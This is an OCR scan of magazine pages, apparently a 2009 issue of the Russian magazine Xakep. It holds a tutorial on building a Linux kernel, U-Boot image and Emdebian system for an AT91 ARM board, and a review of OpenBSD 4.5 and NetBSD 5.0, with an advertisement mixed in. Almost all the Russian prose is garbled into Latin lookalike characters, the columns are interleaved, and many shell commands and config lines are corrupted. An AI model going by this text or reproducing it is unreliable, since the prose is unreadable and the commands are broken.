OHl-1 y:«.eynaKosaHblS jffs2-06pa3 ,[Illl< epllew.

• XOMl'IKYH\o1Sep­ canbHoro 3arpy3~

S wget maxim.org.za/AT91RM9200/2.6/2.6.27-at

KaK 3aJlbewbCDC, He 3a6Y..o.b 06HOBIt1Tb nepeMeHHylO bootargs

4l-1KaU~boot:

91.patch. gz

B MeHIO u-boot. ee 3H8yeHV1e no.o,CTaSfll'IeTCl'I a Ka'-leCTSe napa­

'!.,I\W.I d(:flx.de/wiki/U­

S zcat 2.6.xx-a;::91.p8cch. gz I paLch -pi

MeT poe

KOMaHAHoi=! CTpOK\Il 5l..o.pa:

Baal. • XOpOWV1V. <f>OpyM pa3­

KOH4»"rypl1pOBaHle iii KOMnl111S'll.ll1S'l

S wget

'd'..JW.

linux4sam. org I t .... iki /pub/Linux4SM1

/LinuxKernel/at91sam926yek_deEcon[ig

U-Boat> seteov bootargs root=/dev/mtdblackl

pa60T4\1!KOS )f(ene3a:

rootfscype=jffs2 rw

e\eclronix.ru.

U-Boat> saveenv

S cd linux-2.6.27/ $ cp dL91sam926yek_defconfig con fig

Hap,elOCb, ace npOWfloycnewHo,iIl yTe65l3aTpe60Bafl14

$ make ARCH=arm old::onfig

aSTOp143al.l,l-1IO. nl-1Wl-1nOn1H root. a napoflb OCT88MlI:1 nYCTbIM.

$ make ARCH=arm menuconfig

n03ApaamllO. Mbl 8 Cl-1CTeMe! OCM8Tp'·mai1C5l. np08epSl~, sce fll1

$ make ARCa=arm CROSS_COJolPILEo=arm-elf­

Ha MecTeJ Aecnj,j 803MO)f(HOcTei1 npe..o.ycTaHo8fleHHorOA~CT­ pl-16YTVlBa Te6e nOKa3aJlOCb MafiO. TO 4l-1TalilJJ,aflbwe.

, dvd

)J,O)KltI,QaeMCfl OKOH4aHl-1fl KOt.1nWll<l.l,V1V1 V1 «o6epTbI8aet.1}}l'IAPO S nOH5lTHbliii U-Boot'Y<f>opMaT:

Ii

EMDEBIAN IEMDEBIAN.ORGI

3TOT Jl,V1CTP\l!6YT\IlB, KaK HerpYAHOAoraAaTbCl'I. 6a3l-1pyeTc51

• Ha nplt1.naraeMoM K)Kypl~aflY .Ql-1CKe MO}f(~

$ mkimage -A arm -0 linux -C none -T kernel \

Ha Oebian V13aTa4148aeTCfl nO,QllerKosecHble BCTpal'1SaeMble

HO HaI.1Tl-1 toICXOJJ,Hl-1K\o1

-a 20C08000 -e 20008000 -n linux-2.6\

yCTpoi1cTBa nYTeM abIKVlAblB3Hl-151l'13 naKeTOB [Jcero JlV1WHerO,

-d archl arml boot I zImage uImage

TV1na ,O,OKyMeHTau,Itll-1l-1 flOKalltol3alJ,\I!l<1. Ctle6lt1aH Ha .osyx MOl-1X

I'lApa l-1 U-Boot CHano­ )f(eHHblMIo1 naT4aMV1, 06~

MaWl<1HaX, Emdebian 6blJl Afls:! MeHl'I Jlorltl4HbiM BbI60pOM. B Ha­

pa3bl 4lav.noBblx Cl-1CTeM

napaMeTp , -a ' C006ll.13eT 8 cnepaT~SI-lOI.1 naM~T~, Ky..o.a 3arpy­

CTOl'lll.l14V. MOt.1eHT B paMKax npoena npe,D,CT38fleHOJJ,8a peJlltl3a

Open Embedded/

)K3Tb I<,O,PO, a '-e' - oTKyAa era aapTOBaTb. ECTeCTseHHO, :nOT

- Grip toI Crush. 06a 6i1lHapHO COBMeCTV1Mbl COebian GNU/Linux

Angstrom ltl BUlldRoot,

ap,pec He ,Il,Oll)l(eH nepeceKaTbC9. CTeM, Ky..o.a U-Boat V13Ha\.jaflb~

5.0 «Lenny». s:I CTa8to1J) Grip, KaK 60llee nOflHoBeCHblv. Ha 6a3e

a TaK>Ke HeMHora .QOKY­

HO KOnlt1pOBail c6pa3 (Ox2200_00001.

coreutils ill glibc. nO.o.po6Hee a pa3Jll-1'-1\o151X 4l-1Taiii Ha Cal.1Te

MeHTaLJ,iIlV1 no;;<efle3Y.

~~A~nOBA~C~CTEMA

YcraHaSfll<1BaeTCI1 Emdebian CnOMOll.lblO CTal-lAapTHOra n3KeTa

debootstrap iIlJlV1 Ha60pa CKp'1nTOS emdebian-toots. 06a sapltl­

Tenepb. KO'A3 YHac eCTb nOflHou,eH . ,oe pa60l.lee I'lAPO Linux.

aHTa npl-1MepHO 0Alt1HaK08bl no 4lyHKlJ,l-10Hany. SbI6l-1pai1 flKJ6oi1.

cyt-teew€e nOAuenV1Tb neplt1¢epilllO It: FLash-KapTY. HenJlOXO 6bl

Aaflee CTaBV1M BCe,l.lTO Hav..QeTCI1 no KOMaHAe "apt-cache

XAKEP 05/125/ 09

~ 081


»

unix.:dd

All9/)

(l>

~

OrnA)IH1BAEM AEBAiilc 4EPE3 DBGU

search emdebian».- B X03Sl~CTBe nplllroAHTCSl. Clle.nYlOutH~

war

C03AaeM q,a~J1 packages.conf

c rClKl'lMCOAepXIo'lMblM:

8bl6pcCb 1i13 Hero nO,llAep)KKY HID·YCTpoHC,8

emsecondstage, KOTOpbll1 HaJlOBCeMI4 npaB,I13MIiI

o.;eHO KAeeai1cy.

101

seero nr;:O'-l€ro. 4TO HHKorAa He 6y,ner nO,llKllIO­

H HenpasAa"" .... JanyCTIo1Tby*e H3 caMOMAeBaI1Ce_

nOTO,", MO)Kewbnol"po60eaTb l135aslitTbCSl

KaK :no CAeJlaTb - ,!leIlO lBce. MOJIKeWb CKIiIHytb

aT MOHCTooo5pa3Horo U-Boat. OnepaLV1­

sllenny

o6paJ HCI usb-4JnewKy III BOTKI"'YTbee B,Aee3i1c,

HIRROR=http://ww~.emdebian_oru/yrip/

1111160 npHMoHrnpoBClTbo6pa3 no CeTlIl.

OHKa-3arpy3411K - 3TO. KOHe""lHO, XopOWO. HO 114-KWl06cHTHblH AT91 Bootstrap nOClle

SCRIPT=/usrlsharc/debootstrap/script

I

OTueJlesoi1. Bmo60"" cny~ae. BKopHe no­ IlY'H18werocSl o5pa33 6y,q€r llexaTbcKp .... m

PROXY=http://~I.emdebian.or9/grip/ ~UITE-stable

nOcJle chroara HClKClTIII naKeTbl,)lCIiIBYUJ..He e/var/cach e/apt/archrves. Hal.llilHaSl C libc6 H sysvinit.1iI Tbi nOJlY'"'IiIWb HaCToSlUlHH Debian.

1I13anycKaer.4 emsandbox;

a KY,QA,QAJlbWE? emsandbox -" ann -v. I -m.1 --machine-path Ha 6b1XOAe - 3anaKoeaHHblH apX\o1BC q,aAnOBOI1

Tyr Bee 3aeHClilT OT H3nW·llilSl YTe6S13HTy3lila3­

HeKoTopoH ...onHllKH 81011He MO)l(eT nOArOToe ....Tb KOHTpOllJlep 1( 3arpy3<e Sl.Qpa. Aanee - n:)J:~aplil csoe ....y o.QHonnaTHI'lKY DHeWHv,11 USB-l3lilH"'leC­ Tep III Hay411l ero Ka4aTb TOppel-lTbllil pa3AasaTb $ai1m>l no Cem. Bblpy61-le 400-eaTTHbll1 ¢laHn­ cepBep. MO)l(HO Hennoxo C3KOHOMlilTbHa 3neKT­

Ma, CB060AHOro Bpet-1eHlillil AeeywKlil. AenaL71

p03Heprllllil. nOTOM eOTKHlil ee6-K3Mepy. nOCTaBb

e e~e 0AHlilM nOSlBIo1BWl.-1MCR a TaoeM AOMC

llena111 http-cepsepillcneAlil3aTepplo1Topli1ei1 4epe3 CTpaH1Il41CY. sblseAeHHYIO CKe03b epalipeoll

cHCTeMOl1. TonbKO OHCl nOKa "'ITO H€pa6ol.laR.

KOMnblOTepOM Bce. "ITO nO)l(enaeWb. Io1cnOllb­

Cyrb BTOM, ""ITO CKplilnT He CMor AOBbinOllHH,b

3yli MO~bYCTaH06neHHoro lola Hero nlilHyKca

a lilllTepH€T. Kopo""le. HenaXClHoe nOlle AflSl3KCne­

HaCTpo~1CY AI1CTPH6yrlilSil. TaK KaK apxHTeKl)'pa.

no MaKclilMyMyl AnSI H343na, onn.1MI<1JHpyA s;lApO

pIl1Mel·-lT06, n\llWb 6b! CKOpOCTIil xearano, Aa ape­

Ha KOTOpOiA OH BblnOJlHSlJlCR Ix861. O'TJlIo14aeTC>I

101 CDC no paJl-tepy II 3q:,q:,eKTlilSHOCTIo1, HanpHMep.

MeHlil. :JC

~

082

XAKE" 05/1251 09


CMOTPHBMae

Ha

eKaHane

game/and. tv

!

I

~ I,

TeXHO B nflaHe

HOBocreu $13 MJ1pa BbICOKJ1X reXHoflorMH

3pMTefleM >K,QeT HeCKOflbKO ClOpnpM308. Bbl YBJ1,aJ1Te cepJ1JO aHOHCOB OT Apple, paCCKa3 0 H08J1HK8X, npe,llCraBneHHblx H8 OAHOM M3 eBpOneMCKJ1X reXHU'leCKMX 8blCT880K, BHuM8renbHb/H 8H811M3 HOBOM Mo6MflbHOM fll1HeC:lIm Nokia 11 C8Mble ropRYMe Mo,aenM HOyr6yKOB

J;j

HeT6YKoB BecHbl3TOro

roAa. nOMHI1, o,aare Hayana BTOp>KeHUfl po6orOB Tbi j'3HaeWb TOflbKO 113 oqH11.411anbHoro opr8H8

Bcex MeX8H/IlyeCKI1X

BeL1(8HMfl

cy~eCTB

­

113 nporpaMMbI "TeXHOIt.

Kor/ta: EJKe/tHeSHO B 11:00.

q,opMa~HIO 0 noAKfllOyeHI-lH Tpe6yihe

3aWerO perHOHaflbHOrO oneparopa

a> 3p·TEnEKOM

-

-Corblna"

• • • aKaoo mPlIl«lrI1OPfllS


NETBSD5.0

OPENBSD4.5

EBfEHlolliI.J1M. ~D5HI1II

I lOBNINI'ilGHAIL.COHf

flOB~51:E=rPAIi'l1I

~B-S-~9~~ AeTanbHbl~

OPENBSD4.5

0630P OpenBSD 4.5 M NetBSD 5.0

B cerOiJ,H51WHeM UNIX-MVlpe p33BVlTVle Linux VI FreeBSD HanOMVlH3­ eT 6ecKoHellHYfO rOHKy 3a MOiJ,oiii. npeBp3Ll\3fOLl\YfO Onep3lJ,VlOHHbie CVlCTeMbl B KJly60K 3anYT3HHoro KOiJ,a. 3 C006Ll\eCTB3 -

B p3CCaiJ,­

HVIK TpoJlJleiii VI HaiJ,MeHHbIX rypy. H3 3TOM cj:JOHe CT051Ll\Vle B CTOpOH­ Ke Open/NetBSD MoryT CTaTb HaCT051Ll\eiii OTiJ,YWVlHOiii VI npVlMepaMVI TOrO, K3K MYiJ,pble JlfOiJ,VI C03iJ,3fOT KpaCVlBble, JlVlWeHHble nOnCOBOCTVI Onep3lJ,VlOHKVI . •

OPENBSD. JlIiIWb ABE YAAnEHHblE YSl3BIiIMOCTIiI3A BCE BPEMfi CYlllECTBOBAHIiISl

TaKlile BeLl.\lil, KaK He3aMeHlilMbll':i I'1HCTpyMeHT

\'1 FreeBSD

Open sso - npoeKT Thea de Raadt lt1 rpynnbl e,qlo1­

Jl106oro aAMlilHlilCTpaTopa -

J1y'1wee npl-1MeHeHlile OpenBSD -

13

HOMbIWJ1eHHl1KOB, OTn04KOeaSWllliks:l aT

B

1995 r0J:W III

NetBSD

HallaTblM c u.eflblO COJ,D.aTb

nOJ1HOCTblO cBo6o,QHylO onepau,110HHylO CIo1CTeMY

I

c orm~,QKoi1 Ha BblCOKYIO CTa6L1flbHOCTb \I16e30­ naOWCTb.

OpenBSD

HenOTOnJ1l1eMOCTbKl,

scerAa CllaSltlJlaCb C80C\:1 (;1,

eCJ1I1 Om1Cl>ISaTb Cl.1CTeMY

0AHlt1M npeWW)f(eHt1eM, TO

nonyen'llC"

'-lTO~TO

spo­

Cl-1CT€MbI, pacnpOCTpaH"eTC" C MHor04I1Cll€ H ­

1-16e3JllilWHlilX enOB 6paJllilCb 3a Hanl1CaHlil€

HblMI1 Aopa60TKaMI'1 \'1 3anllaTKaMltl, YllY4W<3IO­

OTKpblTblX aH811oroa .QpaI1B€pOS, orpOMHO€

Ll.\lilMI-l CTOL:1KOCTb,

B paMKax npoeKTa HanVlcaHbl OpenSSH ltl € . Ilsa llVl

KOJH14eCTBO Koropblx nepeKO'i€ S 3nO 9 NelBSD

C€ T eBbI€

He CoMblL:1 npoABlilHyrblL:1l-1 YAo6HbI ~ B HoCTpoL:1K€

MapWpyTlil3aTopbllil MoeTbl, rAe OC S nOIlHOYl

6p3HAMay3p pI. KOTOpblYl cerO,QH'l MO)l(HO HaL:1TVl

Kpace nOKa;lKel CBClil 603MO>KHOcn1.

B JlIo60l':i OC C€Me~CTBa BSD

a

50pb6a 3a Ka"'leCTI30 liI11erallbHOCTb KO,Qa­ € w ,e OAHa OTfllil4lilTellbHal< "'lepTa pa3pa6oT'-lLo1KOB OpenBSD. 5YAy'-llil no6opHlilKaMlilll14L1,eH3Lo1lil

BSD

lil T011K060 Han14caHHoro, llaKoHlil4HOro KOAa.

B HAYAJlE HOSl5PSl 2008 rOAA YBIiIAEJlA CBET

OpenBSD 4.4.

B COCTas ee ElOWf1V1 OpenSSH 5.1,

npl-1ro.QHbll1:< I-1cn0l1b30saHlIlKl OpenCVS, yTlillllt1Tbl

Ae: «ClIlCTeMa AJl5l napaHOlllAa.nbHblX a,qMVlHOB».

Y4aCTHl.1Kl.1 npO€ K Ta roTOSbI ,Qopa60TaTb l.1 ne­

sysmerge 1-1 tcpbench, a TaKA<e HeCKOllbKO HOSblX

V1 :no npasAa - KOAOpenBSD npocTO 1(l.1WI1T

penlilcaTb111060Yl KOMnOH€HT(L.1CTeMbI, C03,QaH­

Apai1eepoe lil yny'-lweHlili1s no,o,ClIlCTCMax RApa

MHOr041>1ClleHHbIMl-1 npoaepKaMLiI Ha san I1,ll,HOCTb

HblL:1 CTOPOHH\'1MlJ1 pa3pa6oT4lilKaM14. B (OCTaBe

kaMblM r11aSHblM lil3 KOTOpblX CTafla nOMep)I(Ka

AaHHblX, npasa Aocryna ltl nOfll-lOMO'1Lo1>\, ,O,l1>\3a­

OpenBSO y%e pacnpocrpaHI<€ T CI< C05CTS€HHa51

WPA/WPA2 AJlR 6ecnpo8o,QHblX YCTpoCicTS!

TPYAHC'HlilSl B03MO>KHblX aTaK paHAoMlil3lo1pyeTcI<

pealllll3aqV11< CWTeMbl KOHTponSl eepClill1 CVS,

lil cTaHAapTHblx YTl.1JllilTax. l.1TO A<e Hac >KAel B HO­

a6COJllOTHO Bce. Ha'1lilHaSl OT

10 npoueccoB VI HO­

Mepoe nopTOa 1013aKaH'''H1BaSl CTpaHlilLl,aMltl BVIPTY­ allbHo~ naMSlTlil. nlO6o~ KOA n€ p € A

BKJlIO'-I€H\>1€M

S 0<plilLl,lilallbHYIO BeTKYAOCI(Ol-laflbl-lO npOBepSl€ T ­ C51lil aHalllil3lilpyeTC51 Ha npe,l:v.teT oWlil60K.1I1 Aa>Ke CTopoHHee

~

084

no, 8KlllO"'l€HHOe

B 6a30SYIO nOCTasKY

ceps€ p 1'1 Klllll€ H T An" npoTOKofloa NTP, SNMP, OSPF, BGP, a 8

4.5 Sol1.Il€TeLl.\e

lilA€ M OH SMTP,

80M pefll.13e? nepBoe. '-Ira 06palllaer Ha ce651 8,1\1­ MaHlile - smtpd, 6e30naCHblCi, J1erKI-1~, y,o,06HbiCi

06cyA<p,aeTC" 803MO)l(HOCTb C03AaH14R npoCToro

8 HaCTpOHKe SMTP-AeMoH, KOTOPbIV, HaL\€ n eH

1-16blCTporo KOMnl-1mnOpa ~3blKa C\'114 3aM€ H bl

He ClOJ1bKO 3aMeHlilTb BceMoryLl.\lilL:1 sendmait,

GNU binutils. Pa3pa6oT'ililKVl Bcer~a paTosa­

CKOllbKO 06eCne4\11Tb npoCToTy pa3aepTbl8<lHlilR

11l-13a OTKpbITl.1e cneLJ,lilq>I-1KaLJ,1-111 Ha «>Kene30»

lil YA06cTBO l.1cnOfl!;:30Ba~14R. B KOH<plilrypau,1-10H­

XAKEP

(15/1251 Cl9


.•.•••••--- '.nsil Hr.,: - - - - - -

,,,

,

.snBIl 0,0

JOGISD 0,1 ••••••• _...... I

\

I

I I

18tllD 1.0

I I

I

"

, ,,

,

,

~,rlllt

I

a:w:l5t 0 ••. U3]

"""Ila~ 1l.~.IHl

I

J

I I '.n:J>~ .. d I I • II.... SI> O.S I I j I r n . . lSo 1.0 ... ---' 'htlSO 0.' I I .----- t.n~ UtI I I I , r. .. ISO 1.1

I

I

I

r«.no 1.1.).1

I I

I

I , ...UI> :.0

,

I I I

~.ll

"

I

<-'

~«.BSO :.l.~

I

I h . . BSO :.1.'.1

"

I ......0 :.1.7

\

I

,~ •••••• -_ ••••

: .• ~IDI

'.. 01.0 1.' Op.nlU

I I I I

1.: \

,,

,

\

,

1

ISIl/OS :.0

,

,

,

,, ,

, ,

,, , ,, ,, ,

nOlO/! :.0.1 ~lu:

I I

:.3

I

I 1.0

UIl/OO :.1

,,, ,

Itll/<n 1.0

"PonUo :.0 \

I

,

\

~SD/Oll

Non,SO •. 1 ••••••.

I I

I

,

,

,

U.U:SO

j

,

,

\

I

.-····r ..•.. ·U\.p.ody

,

\

I

,

I ! I I

U"/JU 1.1

I I

.-._••

r,o<su :.1.5

I

t I

<--'

I I I I h«UD :.1

~

WHUO

nllOU I.V

I

I

I

I

~,s~~~~r .. <uo:_o.~ _ :

~oi:"'Ii;:;;;;~'

I

(I

.···r···..····, I ,

u.,1U.

,

,,, , ,,,

I t.ns:> Cp/M I '.UC

POACTBEHHblE CBSl3J.1 nPEACTABJ.1TEJlEIiI

CEMEIiICTBA BSD

HOM 4>a~J1e V1cnonb3yeT(51 pf-no,ll.o6HbICi CL1HTaKCIK:

A06ABJlSlEM B KOH<I>J.1r PF.CONF

nPABJ.1nO CMETKOIiI PFLOW

KaHaIlOB. a scan BbIBO,D,lo1T Cfllt1COK Aoc"raeMblX TOYeKAocryna

vb l')J,paYAaJ1eH KO,fl pea1H13aLl,\J1l-1/dev/drum \J1/dev/prandom. np~Mep KOH41Hrypal.l.HOHHOro

Ao6aBI1eHa nOAAep>KKa ceMeYiCTB2 npoLl,eccopOB ARMge

¢>aMIla smtpd

,ll,1151 nl1aT¢OpMbl ARM. ORM-MOP,YIlIt1 inteldrm 101 radeondrm.

listen on locaihost pOrt 25

He06xOA\J1Mble An" nOAAep)l(KIil annapaTHoro yCKOpeHliI>l Ha co­

hostname localhost accept for donain "loca)host" deliver to mbox "/Yar/mail/%u~

oTBeTcTsylOl.J..llo1X Slt1AeOKapTax, Tenepb no yMOI1'laHlo1lO BKllIO'le­ Hbi 8 5lIJ.PO. rCllepaTOp cllyyaL1HblX 411eell OTHblHe S03Spal1.\aeT

l>

co6CTBeHHoe 3HayeHlo1e ,flJlSl Ka>KAOrO npol.leccopa_ Cnlo1cOK

• HOBbie sepcl1lo1

for all relay

nOMep>t<VlBaeMbiX nnar¢opM nOnOJlHlt1JlCSl eW,e ,flSYM51 n03lil­

OpenBSD BblxO.Qsn

Ll,11\1Ml1: gumstix lo1 OpenMoko. XOHI peaJllo1JaL\lo1R nOC!1eAHei1

Ka::l<,[Ible nonrOAo

HaCTOf1bKO npI-1MI1Tl-1SHa, 4TO MO)l(eT l-1cnOJlb30SaTbGI TonbKO

1 Ma5111 1 HOl'l6p>l.

accept from

$~ocal

CepBepy~e BKJlI04eH

B,flepeBO I'ICXO)J,HblX KOAOB ~ yMeeT Bce.

info

4TO MO>Ker norpe60Barbc~ B95% cIlY4aes.

An\1 Tecn-1pOBaHl.1I'. A06aBneHo HOBoe nCeS,floyCTpoi1cTBo pllow

B COCTae BepClo1lo14.5 Bowen OpenSSH 5,2. KOTOPblL:i MO>YeT

[4), KOTopoe 3KcnopTlo1pyer ,flaHHble IP-aKKaYHTl-1Hra 'lepe3 UOP

• B OpenBSD He

nOXBaCTaTb T(jKlo1Mlo1

B COBMeCTlo1MOM

nonb3YIOTC:1

HOBOBBe,fleHIo1~MV1

Knlo1eHTcKa~ Ont.{lo1~

'-y r )J,n~ OTnpaBK~ J10rOB Bsyslog 8M€C­

TO slderr. '..no MO>K.eT nOTpe6013aTbCI' np~ 3anycKe

8

CNetFlow 5 <POp MaTe. YTo6b1 HaeTp0ItlTb I1HTep­

¢eik pHow. Hy)l(HO BblnOJlHIo1Tb c.neAylOl1.\lo1e KOMaH,flbl:

VlC­

,lJ,pa~Bepa

co CKOMnl.1nl1pOBaH­ HbIMl.1 06beKTHblMVI

pe>t<ItlMe

AeMOHa.

1I ifconfig pflm."O create

MO,D,yMMI1 C Hepac­

• Alo1peKTI1Ba KOH¢VlrypalJ,ltloHHoro ¢aL:ina ForceCommand Tenepb npl1HItlMaeT apryMeHTbl Am BHYTpeHHero sftp-cepsepa.

ifconEig pflo~"'O flo\'Jsrc 192 .168 .1. 2 flowdsL ]97..168.1,,1:1234

KpblsaeMblM I1CXOA­

1I-

HblM KOAOM,

• sshd CTan nOHIo1M3TbonlJ,1tl101 Pel"mitEmptyPasswords Itl AllowAgentForwarding, nponlo1caHHble B 61l0KaX Match.

,D,.nSl nplo1Mepa npOl-l3SeA8M Y4€T ICMP-3anpocoB, np\J1xo,ll.~l1.\~X

• YAo6HblYi eepol1c

• Y)J,aneHHoe nepeHanpaS!1eHlo1e noplOS C npocnyW14BaeMblM

Ha BHeWHl-1Yi ceTeBoiil L1HTep¢ei71c:

no pa60re e ,flepeBOM nopTOS OpenBSD:

nopToM 0 [s 3TOM cnyyae ceps€p ,ll.OIl)l(€H AItlH3MItl4eCKItl Bbl,fle­ nlo1Tb nopT 101 C006l1.\V1Tb ero K!1l1eHTyl.

host1 # vi/etc/pI. conf

• nOMep)l(Ka npOTOKOna SOCKS4A)J,fl~ Alo1HaMI-I4eCKoro nepe­

pass in on $ext_if inet proto icmp to ($ext_ifl

HanpaSn€HV11' naplos, KQTOpoe. KCTan1. TenepbMO)l(HO HacTpo"

keep state (pflow) hostH pfetl -{fete/pf. conf

~Tb

101 yepe3 KOMaHAHyJO CTP0K)' Kfll-1eHTa. AocrynHYIO no-C

KpOM€ HOSblX B03MO)l(HOcei1. BOpenSSH 5.2YCTpaHeHbI ABe

host2# ping hostl

TeOpeTW.,eCKi'1€ Y513Sl-1MOCTl-1 IJ1l-1cnpaSJ1eH AeC51TOK 6aros.

host1 # pfetl -YSS I grep -B1 pflO'.'" I head all icmp 77.41. xx. YY: 1 <- 212.34. XX. YY:

KOA CWK<I blue tooth Cl-1HXpOHlo13lo1poBaH CNetBSD 101 no yMOIl­ yaHlo1Kl8KIlKlyeH SKOA >lApa AfI~ nnanpopM alpha, amd64,

453330,0

armish. rppa. 1386.landisk. macppc. sparc64 lo1 Z<3urus. Aa­

age 00:00:02, expires in 00:00:09,2:0 pkts,

6asfleHbl,fleMOH btd [81. yTl-1J1\J1Ta btctl {81l-1 KOHq>l-1rypaUI10HHbli:i

168: 0 bytes, rule 14, pflm'j

t:LtJ.g.BJ'P'_~nQQn; S&.

• Ha npl-1.naraeMOM

4Jai111 bt.conf (51 AJ1~ ynpasneHlo1$1 bluelooth-ycrpoL1crB<3M>1 B :<O,fl 6€enj:::)sO,flHOrO CTeKa A06aBJleHa HayanbHa51 peaJ1\J1­

nce8AOYCTpo~eT80pfsync (41 nepese,o,eHo Ha lo1cnOJlb30­

3aulo1~

BaHL1e npOTOKOJla nl'ro~ sepcltlltl, Koropbli1 He COBMeCTItlM

Ha~AeWb

nOAQep)l(Ka npoToKona BIP [Broadcast/Multicast Integrity

c npeAbl)J,YWl-1Ml.1. B gee l.1 gdb,flo6aBlleHa nOAD,ep)l(Ka PIE

101 NeIBSD5,O.

Protocol! AIl~ 802. 1lw. BKJlIO'-IeH Ko,o,Ae4>parMeHTaLl,~l-1 J]n~ nplo1eMa MSDU iii MMPDU <p1=larMeHToB. ApaL1Bepa ipw [4)

pa3MeweHl-1e KO.Qa •.QaHHblX. CTeKa lo16110Ka 6l-1611110TeK BHyTpl-1

802.11 x PMKSA K3Wl.1pOSaHl-1R \J1 npeayreHT\J1¢~Kaq>1Vl,

l-1 iwi 141 Tenepb nOAAep>KIo1BaIOTWPA. OnW\J1R chan, nepep,aH­ Ha~ ifconlig

XAKEP

os

ISJ, npI>\BOAl-1T KneyaTl-1SCeX nOAAep>K~BaeMblx

111;510'

K::l<ypHanYAl1cKeTbl OpenBSO 4.5

(Position Independent ExecutablesJ, KOTopble paHJl.OM10131o1py1OT lo1cnollH>leMOro 4Ja~Jla. YTlo1rllo1Tbl Istat [1 l. pstat IBllo1 HeKoTopble nepeMeHHhle sysctl60JlbWe He nOKa3blBalO'r eMeUJ,eHI-1~ B 4laiil­

~

085


~'"::V~--=__

OP£NBSD4.5 NETBSD5.0

"

"I;

npOCMATPI1BAEM Cnl1COK AOCTynHblX CETEBblX I1HTEP<IlEMCOB

Jlax L1

,opyryiO L1H<popMaLl,l-1lO,l\Jl~

nOJlb30aaTeneH,

He BJ1aAelOUJ,L1x 3Tl1Mlt1 q,a~J1aML1 (root no-npe­ )I(HeM¥ BVIA/.1T Bee). )=Ip,po

MHQXeCTBO eaMblX pa3Ho06pa3HblX, IiIHTepec­ HblX Inopoi1 - HeO>Kl.1,qaHHblX) HOBweCTB.

OpenBSD 053aSeJ10Cb

BaHHoMy 3aKpblTltlKl ceCCltll1. 3aKpblTbi 6pewl.1

Hal.16011ee 3Ha4L-1TenbHble l.13MeHeHltll'l npol.130W­

HMAC-M05, HMAC­

6e30nacHoCTIiI B KO,Qe OpenSSL l.1 named fB).

J11i1 a I'lApe oc. Tenepb FFS I1MeeT nOAAep>KKy

B KO,lJ,eACPI yCTpaHeHa naHlJ1Ka Ha HeT6yKax Asus

.>KypHanl1pOB3Hltll'l; ,Qo6asneH K0,Q pe3J1j1l3au,l.11i1

nOA.Qep>t:::KOf1 allrOpvlTt>10B

SHA I, HMAC-SHA256,AES-128-CMAC" AES «Key Wrap», KOTOPbl€ L1cnOJlb3YlOTCl' ,lI,JHl ac­

eeePC 1OOOH l1,Qo6aBneH BopKilpaYHAA11Sl c60~­

1 J nOTCKOB; nepepa60TaHbi nMIHltlpoBllI,ltlK

CL1MeTpI14HOrO WIo1q,POS3HL151 APyrlo1x KIllo4ei1

HblXACPI BI05·0B.

npou,eCCOB iii CltlCTeMa 6110KIo1POBOK; peanlil3a­

~NETBSD.

06HOSI1€H,!J.0 aepCl.1ltl 3.3; l-1HT€rpl-1p093Ha Hoa3t1,

(OlOTPlt1

/usr/src/sys/cryptol.

UltlA malloc 33M€HeHa H3 jemalloc; nopT H3 Xen

8 resolv.confrenepb MO>KHoYKa3blsaTb HOMep

PA60TAET AA>KE HATOCTEPAX

He3aBI1CI1M31'l OT apXl.1TeKTypbl CIo1CTeMa ynpaBne­

Bl.1A() l<nameserver 17.16.67.143:5353») 6YAer KoppeKTHo o6pa6oraHa. V18ce 3anpocbl nOI1,Qyr

NetBSD - nepaa51 OC ceMei1cTBa B50, pOAliI8wa­

,apav,sepaMIiI PMF: nO>1BltlJ1aCb nOAD,ep>KKa ACPI

nopTa AMl3anl1CeYi nameserver. TO eCTb CTpOKa

Hl.1A nl-UaHlileM /11 06M€Ha C006Ll\eHIiII'lMI1 M€..'>K,l:\y

Ha nopT 5353 8Meno CTaHAapTHoro 53-ro.

11(51 B

MHO)l(eCTBO l-13MeHeHL1i16bIJlO npOVl3seAeHO

4.4B5D-Lite 1i14.4BSO-Lite2. pacnpoCTpaHSleMblx

1993 rOM Ha KO,QOBO>1 6a3e 4.3BSO Net/2,

8 aucal. Tenepb yntlH1Ta nOTpe61151er MeHbwe

KaJ1llIq,opH~i1CKl.olM yH~BepCltlTeTOM

npOL(eCCOpHbIX MOll\HOCTel:1, yMeercIlywaTb

n03yHr NetB50 - "KoHe4Ho, NetBSD MO.>KeT

HeCKOJlbKO COKeTOB C QTAel1bHblM

I

ltl np06neMa HenpaBl.111bHoro 05HOSJ1eHltlfl S Kop,e BGP, KOTopaR Moma npltlf3eCTltl KHe3annaHiIlpo­

ypo8HeM

3CaaT€n>111 Cl.1CTeMbl puffs,~nR peal1l.13aL-\l.1.., q,aC1­

6epKJllil.

pa60TaTb l.1 Ha :now> IOf course it runs NetBSDI.

rpOMKocnl M>l Ka)l(.QOro nOTOKa l.1 MQ)f(eT pa60TaTb

Cl.1CTeMa nopTl.1pOBaHa Ha

suspendlresume, H08bl~ GJpev,MsopK rump AJ1t13anycKa 4aCTeill Sl,apa S npoCTpaHCTBe nOJ1b~

60 annapaTHblx nnaT­

J10BbIX CIiICTeM SHe R,Qpa ..u06aSJ1eHO MH8.>KeCTSO HOBblX ApaHl3epOB

/11

05HOBneHbi cyw,eCTsyfOLl(l1e.

060 sceM nO,lJ,p06Hee. Ko,lJ, )KypH3,lV1pOBaHiII>1

S pe.>Kl.1Me 06paTH0f1 neTJ1l.1. Bee 3,0 npespa­

Q>OpM,,lJ,J1Sl Ka"Jt(Ao~ ltl3 KOTOpblxp,ocrynHbl TblCS'!Yltl

MeTa,ll,aHHblx WAPBL (Write Ahead Physical Block

l..l.\aeTnporpaMMy 8 HaCT0>1l..l.\14i:1 aYAlilo-cepsep.

npeKOMn~nltlp08aHHblx

Loggingl nO,ll,apel-< npoeKTY KOMnaHl.1E'H Wasabi

cnoco6Hbli:1 BblCTynaTb B Ka4ecTBe 30MeHbi jack

Cl.1CTeMa C60PKl.1 naKeTOB, V1MeHy€Mal'l pkgsre,

Systems, I1Cn0J1b3YIOw,ei:i ero a)KC 2003-ro ro,ll,3

ltlnlil PutseAudio. A.nl'l npl.1Mepa npl.18eAY KOMaH,D.y

cnoc06Ha pa60TaTb npaKT1iI4eCK>1 Ha 111060>1

IHl.14ero y,QIiIBIiITel1bHcro - HeC/<OJ1bKO BeAYw,l.1X

3anycKil auca!

B

pe>KlilMe cepsepa c ASyM>1 c.nywa­

IOllI,l.1Ml.1 COKeTaMl-1, rpOMKocTbO,lJ,Horo ltl3 KOTOPblX yCTaHoBfleHa

B

65Idefault), a BTOporo - BblKPy­

4eHa Ha nOl1HYfO (max): $ aucat -1 -v 65- s

naKeTOB. npl.1Y€M caMa

